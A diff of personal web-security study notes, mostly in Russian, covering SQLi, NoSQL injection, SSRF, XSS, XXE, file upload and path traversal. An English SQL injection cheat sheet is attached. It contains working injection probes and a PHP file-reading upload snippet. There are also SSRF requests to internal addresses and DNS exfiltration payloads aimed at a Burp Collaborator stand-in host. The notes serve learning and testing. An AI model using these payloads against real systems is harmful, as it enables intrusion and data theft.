В большинстве случаев, эскалация привелегий вертикального контроля доступа происходит, когда сервис не обеспечивает соблюдение какой-либо защиты для чуствительного функционала. например, ссылки могут быть связаны со страницей приветствия администратора, но не со страницы приветствия пользователя.
|
||||
|
||||
Суть в том, что не защищают админскую панель, а просто прячат **robots.txt**
|
||||
Или напрямую в тексте скрипта приложения.
|
||||
|
||||
### Горизонтальная эскалация привеленгий
|
||||
|
||||
**Горизонтальная эскалация** происходит, если пользователь получает доступ к ресурсам, которые предназначенны для другого пользователя, вместо собственных ресурсов такого же типа.
|
||||
|
||||
Пример: если атакующий может получить доступ к записям других пользователей, словно это его записи - это горизонтальная эсказация.
|
||||
|
||||
`https://insecure-website.com/myaccount?id=123`
|
||||
|
||||
если такующий изменяет `id` и получает доступ к аккаунту другого пользователя - это и есть эскалация. (В моем техникуме, на платформе procolledge была горизонтальная эскалация привелегий.)
|
||||
@@ -0,0 +1,35 @@
|
||||
Что бы начать api атаку, необходимо найти настолько много информации об api сервиса, насколько это возможно.
|
||||
|
||||
Для начала, тебе необходимо определить конечные точки API. Это место, куда API получает запросы к раздичным рессурсам на этом сервере. К примеру:
|
||||
```http
|
||||
GET /api/books HTTPS/1.1
|
||||
Host: example.com
|
||||
```
|
||||
|
||||
Конечная точка для этого запроса - `/api/books`. Этот запрос взаимодействует с API для получения списка книг из библиотеки. Другая точка API, к примеру, может запрашивать конкретные жанры книг.
|
||||
|
||||
Как только ты определил эндпоинты - нужно понять как взаимодействовать с ними. Они открывают для тебя возможность построить **HTTP** запрос для API тестирования.
|
||||
К примеру ты сможешь получить:
|
||||
1. Какие данные принимает API
|
||||
2. Типы запросов, которые принимает API
|
||||
3. Ограничения скорости и механизмы аутентификации
|
||||
|
||||
API практически всегда документриуется, что бы разработчики могли с ним взаимодействовать.
|
||||
Документация может быть как и интерпритируемая человеком, так и читаемая только машиной.
|
||||
|
||||
## Изучение документации
|
||||
|
||||
Если документация не открыта, то ты можешь попробовать получить доступ к ней через сервис, который пользуется этим API.
|
||||
К примеру, эти эндпоинты могут отсылать на документацию:
|
||||
- `/api`
|
||||
- `/swagger/index.html`
|
||||
- `/openapi.json`
|
||||
|
||||
## Использование машинной документации
|
||||
|
||||
Утилиты для чтения документации и тестирование эндпоинтов:
|
||||
**Burp Suite Scaner**
|
||||
**OpenAPI Parser**
|
||||
**Postman**
|
||||
**SoapUI**
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
**Уязвимость загрузки файлов** возникает тогда, когда сервер позволяет пользователям загружать файлы в свою файловую систему без надлежащей проверки имени файла, типа, размера и содержимого файла. Неспособность должным образом применить ограничения означает, что даже самая базовая функция загрузки изображения может быть ипользована для загрузки и эксплуатации опасных файлов.
|
||||
|
||||
В некоторых случаях, сам факт загрузки файла может нести в себе опасность. Некоторые атаки могут включать последующий HTTP запрос на иполнение файла.
|
||||
|
||||
## Как возникает уязвимость?
|
||||
|
||||
Учитывая довольно очевидную опасность, редко встретишь сайт без ограничений на загрузку файлов. Например, разработчики могут создать blacklist для опасных типов файлов, но не учитывать расхождения в анализе при проверке расширения файла. Как и в любом черном списке, легко можно опустить менее явные типы файлов, которые всё еще могут быть опасными.
|
||||
|
||||
## Использование неограниченную загрузку файлов для вызова консоли
|
||||
|
||||
Самый худший сценарий - когда сайт дает возможность загружать и запускать файлы php, js, python.
|
||||
|
||||
Поэтому стоит попробовать залить файл на сервер и выполнить его (через запрос в url)
|
||||
|
||||
```php
|
||||
<?php echo file_get_contents('/path/to/target/file'); ?>
|
||||
```
|
||||
|
||||
Если стоит ограничение на **Content-type**, проверить можно ли подменить его в заголовке.
|
||||
|
||||
```http
|
||||
|
||||
POST /images HTTP/1.1
|
||||
Host: normal-website.com
|
||||
Content-Length: 12345
|
||||
Content-Type: multipart/form-data;
|
||||
boundary=---------------------------012345678901234567890123456 ---------------------------012345678901234567890123456
|
||||
Content-Disposition: form-data; name="image"; filename="example.jpg" Content-Type: image/jpeg [...binary content of example.jpg...]
|
||||
---------------------------012345678901234567890123456 Content-Disposition: form-data; name="description" This is an interesting description of my image.
|
||||
---------------------------012345678901234567890123456 Content-Disposition: form-data; name="username" wiener
|
||||
```
|
||||
@@ -0,0 +1,5 @@
|
||||
**Information disclosure (leakage)** - раскрытие информации (сливы) происходит когда сайт непреднамеренно раскрывает конфиденциальную информацию своим пользователям. Обычно таким способом расскрываются:
|
||||
1. Данные о других пользователях
|
||||
2. Важная бизнесс информация
|
||||
3. Технические детали о вебсайте и инфраструктуре.
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
NoSQL иньекции похожи по своей сути с sql, так как задача - получить доступ к данным бд, изменить\удалить данные, вызвать отказ систем или вообще исполнить код на сервере.
|
||||
|
||||
NoSQl базы хранят и управляют данными иначе, нежели SQL. Они используют широкий спектр языков запросов вместо универсального стандарта, такого как SQL, и имеют меньше реляционных ограничений.
|
||||
|
||||
Суещствует 2 вида NOSQL инъекций:
|
||||
1. Внедрение ситаксиса. Методика аналогична той, которая используется при внедрении SQL. Однако характер нападения варьируется Это важно, поскольку базы данных NoSQL используют ряд языков запросов, типов синтаксиса запросов и различных структур данных.
|
||||
2. Внедрение операторов - вы можете использовать операторы запросов для управление запросами.
|
||||
## Иньекция синтаксиса
|
||||
Будем рассматривать синтасис **MongoDB**
|
||||
Рассмотрим пример. Есть сайт, где пользователь может выбрать категорию газированные напитки.
|
||||
```url
|
||||
https://insecure-website.com/product/lookup?category=fizzy
|
||||
```
|
||||
При таком запросе, выполняется JSON запрос для получения соответсвтующих продуктов из колекции product в БД MongoDB
|
||||
```mongodb
|
||||
this.category == 'fizzy'
|
||||
```
|
||||
Что бы проверить на уязвимость, стоит отправить мусорную строку в качетсве значения category.
|
||||
```mongodb
|
||||
'"`{ ;$Foo} $Foo \xYZ
|
||||
```
|
||||
После установления, что система уязвима - отправляете запрос с логическими выражениями **' && 0 && 'x** или **' && 1 && 'x**
|
||||
После обнаружения того, что вы можете влитять на логические операторы, отправляете **'||'1' == '1**.
|
||||
@@ -0,0 +1,8 @@
|
||||
Обход пути - эта уязвимость открывает возможность получения доступа к коду атакуемой программы, учетных записей на сервере, конфиденциальным файлам.
|
||||
Допустим, нам надо попасть в каталог **/etc/passwd**.
|
||||
|
||||
Каким образом можно это сделать?
|
||||
```
|
||||
`https://insecure-website.com/loadImage?filename=`
|
||||
```
|
||||
При копировании юрл фото, если мы увидим, что существует параметр filename, который позволяет нам получить данные файла, то стоит попробовать туда подставить путь до того файла, который нам нужен.
|
||||
@@ -0,0 +1,138 @@
|
||||
# SQL injection cheat sheet
|
||||
|
||||
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
|
||||
|
||||
## String concatenation
|
||||
|
||||
You can concatenate together multiple strings to make a single string.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`'foo'\|'bar'`|
|
||||
|Microsoft|`'foo'+'bar'`|
|
||||
|PostgreSQL|`'foo'\|'bar'`|
|
||||
|MySQL|`'foo' 'bar'` [Note the space between the two strings] <br>`CONCAT('foo','bar')`|
|
||||
|
||||
## Substring
|
||||
|
||||
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string `ba`.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SUBSTR('foobar', 4, 2)`|
|
||||
|Microsoft|`SUBSTRING('foobar', 4, 2)`|
|
||||
|PostgreSQL|`SUBSTRING('foobar', 4, 2)`|
|
||||
|MySQL|`SUBSTRING('foobar', 4, 2)`|
|
||||
|
||||
## Comments
|
||||
|
||||
You can use comments to truncate a query and remove the portion of the original query that follows your input.
|
||||
|
||||
| | |
|
||||
| ---------- | -------------------------------------------------------------------------------------- |
|
||||
| Oracle | `--comment ` |
|
||||
| Microsoft | `--comment /*comment*/` |
|
||||
| PostgreSQL | `--comment /*comment*/` |
|
||||
| MySQL | `#comment` <br>`-- comment` [Note the space after the double dash] <br>`/*comment*/` |
|
||||
|
||||
## Database version
|
||||
|
||||
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
|
||||
|
||||
| | |
|
||||
| ---------- | ------------------------------------------------------------------ |
|
||||
| Oracle | `SELECT banner FROM v$version SELECT version FROM v$instance ` |
|
||||
| Microsoft | `SELECT @@version` |
|
||||
| PostgreSQL | `SELECT version()` |
|
||||
| MySQL | `SELECT @@version` |
|
||||
|
||||
## Database contents
|
||||
|
||||
You can list the tables that exist in the database, and the columns that those tables contain.
|
||||
|
||||
| | |
|
||||
| ---------- | ---------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Oracle | `SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'` |
|
||||
| Microsoft | `SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ` |
|
||||
| PostgreSQL | `SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ` |
|
||||
| MySQL | `SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ` |
|
||||
|
||||
## Conditional errors
|
||||
|
||||
You can test a single boolean condition and trigger a database error if the condition is true.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`|
|
||||
|Microsoft|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`|
|
||||
|PostgreSQL|`1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)`|
|
||||
|MySQL|`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`|
|
||||
|
||||
## Extracting data via visible error messages
|
||||
|
||||
You can potentially elicit error messages that leak sensitive data returned by your malicious query.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Microsoft|`SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.`|
|
||||
|PostgreSQL|`SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"`|
|
||||
|MySQL|`SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'`|
|
||||
|
||||
## Batched (or stacked) queries
|
||||
|
||||
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`Does not support batched queries.`|
|
||||
|Microsoft|`QUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE`|
|
||||
|PostgreSQL|`QUERY-1-HERE; QUERY-2-HERE`|
|
||||
|MySQL|`QUERY-1-HERE; QUERY-2-HERE`|
|
||||
|
||||
#### Note
|
||||
|
||||
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
|
||||
|
||||
## Time delays
|
||||
|
||||
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`dbms_pipe.receive_message(('a'),10)`|
|
||||
|Microsoft|`WAITFOR DELAY '0:0:10'`|
|
||||
|PostgreSQL|`SELECT pg_sleep(10)`|
|
||||
|MySQL|`SELECT SLEEP(10)`|
|
||||
|
||||
## Conditional time delays
|
||||
|
||||
You can test a single boolean condition and trigger a time delay if the condition is true.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`|
|
||||
|Microsoft|`IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`|
|
||||
|PostgreSQL|`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END`|
|
||||
|MySQL|`SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')`|
|
||||
|
||||
## DNS lookup
|
||||
|
||||
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:<br><br>`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual`<br><br>The following technique works on fully patched Oracle installations, but requires elevated privileges:<br><br>`SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')`|
|
||||
|Microsoft|`exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`|
|
||||
|PostgreSQL|`copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'`|
|
||||
|MySQL|The following techniques work on Windows only:<br><br>`LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')` <br>`SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'`|
|
||||
|
||||
## DNS lookup with data exfiltration
|
||||
|
||||
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|Oracle|`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|(SELECT YOUR-QUERY-HERE)\|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual`|
|
||||
|Microsoft|`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')`|
|
||||
|PostgreSQL|`create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '\|p\|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();`|
|
||||
|MySQL|The following technique works on Windows only: <br>`SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'`|
|
||||
@@ -0,0 +1,19 @@
|
||||
QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа.
|
||||
|
||||
## Как распознать наличие возможности SQLi?
|
||||
1. Поставить **'** в конце запроса и посмотреть на ошибки
|
||||
2. Булевые выражения такие как **OR 1=1** **OR 1=2** могут помочь получить доступ к нужным частям БД
|
||||
3. Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа.
|
||||
**Пример:**
|
||||
Используй функцию задержки, например `SLEEP` в MySQL:
|
||||
`Food' OR SLEEP(5)--`
|
||||
Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость.
|
||||
4. **Полезные нагрузки для взаимодействия с сетью (OAST):**
|
||||
Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы).
|
||||
|
||||
**Пример:**
|
||||
Вставляй такие команды, которые обращаются к твоему серверу:
|
||||
`Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')--`
|
||||
Или:
|
||||
`Food'; SELECT pg_sleep(5); -- в PostgreSQL`
|
||||
Ты будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.
|
||||
@@ -0,0 +1,33 @@
|
||||
**Server-side request forgery (SSRF)(подделка запроса)**-уязвимость, которая открывает возможность выполнения на стороне сервиса запросы в непреднамеренное место.
|
||||
Во время типичной атаки, атакующий может заставить сервер подключиться к внутренним серверам в инфраструктуре организации. В другом случае, атакующий заставляет подключаться к произвольным внешним сервисам, что может привести к утечке данных.
|
||||
|
||||
## **SSRF** атака на сервера
|
||||
|
||||
При **SSRF** атаке на сервера, задача атакующего создать запрос назад к серверу, на котором находиться сервис, с помощью **Loopback network interface** (виртуальная сеть, позволяющая серверу взаимодействовать **самому с собой**).
|
||||
|
||||
Это обычно включает в себя подставку ссылки вида `127.0.0.1` или `localhost`.
|
||||
|
||||
Например, представим себе сервис, который позволяет смотреть, в наличии ли товар в выбранном магазине. Что бы получить информацию, приложение должно сделать запрос через различные `Rest APIs`. Оно делает это путем подстановки ссылки в релевантный `API` эндпоинт с помощью `HTTP` запроса с фронта сайта. Когда юзер видит статус о наличии, браузер создает такой запрос:
|
||||
```http
|
||||
POST /product/stock HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
|
||||
```
|
||||
|
||||
Это позволяет серверу сделать запрос к конкретной ссылке, получив и вернув пользователю статус.
|
||||
В данном случае, атакующий может заменить строчку `stokApi` :
|
||||
```http
|
||||
POST /product/stock HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin
|
||||
```
|
||||
|
||||
## **SSRF** атака через другие backend системы
|
||||
|
||||
В большинстве случаев, сервер сервиса меет возможность взаимодействовать с **backend** системы, которые напрямую не доступны пользователям. Такие системы обычно имеют не-маршрутизируемые приватные **IP** адресы. Back-end системы обычно защищены сетевой топологией, которые часто имеют уязвимости.
|
||||
|
||||
Представим, что в прошлом примере панель администратора быда на приватном **IP**
|
||||
|
||||
```http
|
||||
POST /product/stock HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin
|
||||
```
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/WEB/Access control|Access control]]
|
||||
[[cybersec/WEB/Api testing|Api testing]]
|
||||
[[cybersec/WEB/File upload|File upload]]
|
||||
[[cybersec/WEB/Information disclosure|Information disclosure]]
|
||||
[[cybersec/WEB/NoSQL Injection|NoSQL Injection]]
|
||||
[[cybersec/WEB/Path travesal|Path travesal]]
|
||||
[[cybersec/WEB/SQL Injection cheetsheet|SQL Injection cheetsheet]]
|
||||
[[cybersec/WEB/SQL injection|SQL injection]]
|
||||
[[cybersec/WEB/SSRF|SSRF]]
|
||||
[[cybersec/WEB/XSS|XSS]]
|
||||
[[cybersec/WEB/XXE|XXE]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,72 @@
|
||||
**XSS** - *cross-site -scripting* - уязвимость, открывающая атакующему поставить под угрозу взаимодействие пользователя с уязвимым приложением. Позволяет обойти политику, котороая разработана для отделения сайтов друг от друга.
|
||||
|
||||
XSS позволяет маскироваться под обычного пользователя, выполняя все действия, которые он может выполнять и получить доступ к любой информации пользователя. Если пользователь-жертва имеет привелегилированный доступ к системе, то это позволит атакующему получить полный доступ к системе и всем данным.
|
||||
|
||||
### Как оно работает?
|
||||
XSS выполняется на стороне браузера жертвы. Атакующий манипулирует сайтом таким образом, что бы тот возвращал вредоносный JS юзерам. Когда вредоносный JS выполнится в браузере жертвы, атакующий сможет получить данные о всем взаимодействии с сервисом.
|
||||
|
||||
## Проверка на наличие XXS
|
||||
|
||||
Вы можете подтвердить большинство xxs, исполнив произвольных java script код в своём браузере. Использование функции alert - общепринятая практика, так как она легкая, безвредная, и ее сложно пропустить при успешном вызове.
|
||||
|
||||
НО, если жертва ипользует chrome, то использовать **alert()** не получится, рекомендуется ипользовать **print()**
|
||||
|
||||
## Типы xss
|
||||
1. **Reflected XSS** - вредоносный скрипт исходит от текущего http запроса
|
||||
2. **Stored XSS** - вредоносный скрипт исходит от базы данных сервиса
|
||||
3. **DOM-based XXS** - уязвимость находится на стороне клиента, а не сервиса
|
||||
|
||||
### Reflected cross site-scripting (Reflected XSS)
|
||||
|
||||
**Reflected XSS** самый простой вариат XSS. Он возникает, когда сервис принимает данные в HTTP запросах и данные сразу возвращаются по небезопасному пути.
|
||||
Небольшой пример:
|
||||
|
||||
```http
|
||||
https://insecure-website.com/status?message=All+is+well.
|
||||
<p>Status: All is well.</p>
|
||||
```
|
||||
|
||||
Сервис не выполняет обработку данных, атакующий может легко составить атаку таким образом:\
|
||||
|
||||
```http
|
||||
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
|
||||
<p>Status: <script>/* Bad stuff here... */</script></p>
|
||||
```
|
||||
|
||||
Если пользователь посетит ссылку, составленную атакующим, тогда скрипт атакующего выполнится в браузере жертвы. Скрипт может выполнять любое действие, получать любые данные к которым у пользователя есть доступ.
|
||||
|
||||
### Stored cross-site scripting (Stored XSS)
|
||||
|
||||
**Stored XSS**, котрые так же извесны как постоянные или XSS второго порядка, возникают когда сервис получает от недоверенного рессурса и включает эти данные в свои последующие HTTP-ответы небезопасным способом.
|
||||
|
||||
Соответствующие данные могут быть отправлены в приложение через HTTP-запросы; например, комментарии к сообщению в блоге, псевдонимы пользователей в чате или контактные данные в заказе клиента. В других случаях данные могут поступать из других ненадежных источников; например, приложение веб-почты, отображающее сообщения, полученные через SMTP, маркетинговое приложение, отображающее сообщения в социальных сетях, или приложение мониторинга сети, отображающее пакетные данные из сетевого трафика.
|
||||
|
||||
Вот простой пример сохраненной XSS-уязвимости. Приложение доски объявлений позволяет пользователям отправлять сообщения, которые отображаются другим пользователям:
|
||||
|
||||
```html
|
||||
<p>Hello, this is my message!</p>
|
||||
```
|
||||
|
||||
Никакой другой обработки данных приложение не выполняет, поэтому злоумышленник может легко отправить сообщение, атакующее других пользователей:
|
||||
|
||||
```html
|
||||
<p><script>/* Bad stuff here... */</script></p>
|
||||
```
|
||||
|
||||
### DOM XSS
|
||||
|
||||
**DOM XSS** возникают, когда сервис включает в сеюя некий javascript код на стороне клиента, который обрабатывает данные из недоверенных источников.
|
||||
|
||||
В приведенном ниже примере, сервис использует JS для чтения значения в полях ввода и записать считанные данные в HTML.
|
||||
|
||||
```js
|
||||
var search = document.getElementById('search').value;
|
||||
var results = document.getElementById('results');
|
||||
results.innerHTML = 'You searched for: ' + search;
|
||||
```
|
||||
|
||||
Если атакующий может контролировать значение в поле ввода, то он легко может составить вирусное значение, которое может выполнить их код.
|
||||
Обычно, поле для ввода используется как HTTP запрос, что позволяет атакующему составить атаку используя вирусную ссылку, так же как в **Reflective XSS**
|
||||
```html
|
||||
<img src=1 onerror='/* Bad stuff here... */'>
|
||||
```
|
||||
@@ -0,0 +1,24 @@
|
||||
**XML external entity (XXE)** - уязвимость, открывающая атакующему возможность вмешиваться в обработку приложением данных XML. Обычно это открывает возможность атакующему просматривать файлы на сервере приложения и взаимодействовать с любым back-end или дополнительной системой, к которой имеет доступ само приложение.
|
||||
|
||||
## Что такое XML?
|
||||
|
||||
**XML - extensible markup language** - расширяемый язык разметки, предназначенный для хранения и транспортировки данных. Как и HTML, использует древоподобную структуру тегов и данных. Ранее был в моде как формат данных для транспортировки, но сейчас в основном используют **json**.
|
||||
|
||||
**XML сущьность** - способ представления элемента данных в ввиде XML документа, вместо использования оригинальных данных. Это значит, что < И > будут представленны как **<** и **>**
|
||||
|
||||
**DTD (Document type definition)** - содержит объявления, которые могут определить структуру XML документа, типы данных и другие элементы. Объявляется в отдельном DOCTYPE в начале документа.
|
||||
|
||||
```XML
|
||||
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
|
||||
```
|
||||
В качестве примера.
|
||||
|
||||
## Использование XML для получения файлов
|
||||
|
||||
Что бы провести XXE иньекцию, которая возвращает файлы из файловой системы, необходимо модифицировать XML. Есть два пути:
|
||||
1. Объявление или редактирование DOCTYPE элемента, который объявляет внешнюю сущность, имеющую доступ к файловой системе.
|
||||
2. Изменение данных в XML, который возвращаяется в ответе приложения, чтобы использовать определенную внешнюю сущность.
|
||||
|
||||
## Эксплуатация XXE для совершения SSRF атаки
|
||||
|
||||
Для совершения такой гибридной атаки необходимо объявить внешнюю XML сущность используя необходимую нам ссылку, и использовать объявленную переменную как данные.
|
||||
@@ -0,0 +1,10 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/AD/AD|AD]]
|
||||
[[cybersec/Computer science/Computer science|Computer science]]
|
||||
[[cybersec/Forensic/Forensic|Forensic]]
|
||||
[[cybersec/Network/Network|Network]]
|
||||
[[cybersec/OS/OS|OS]]
|
||||
[[cybersec/Pentest/Pentest|Pentest]]
|
||||
[[cybersec/Photos/Photos|Photos]]
|
||||
[[cybersec/WEB/WEB|WEB]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||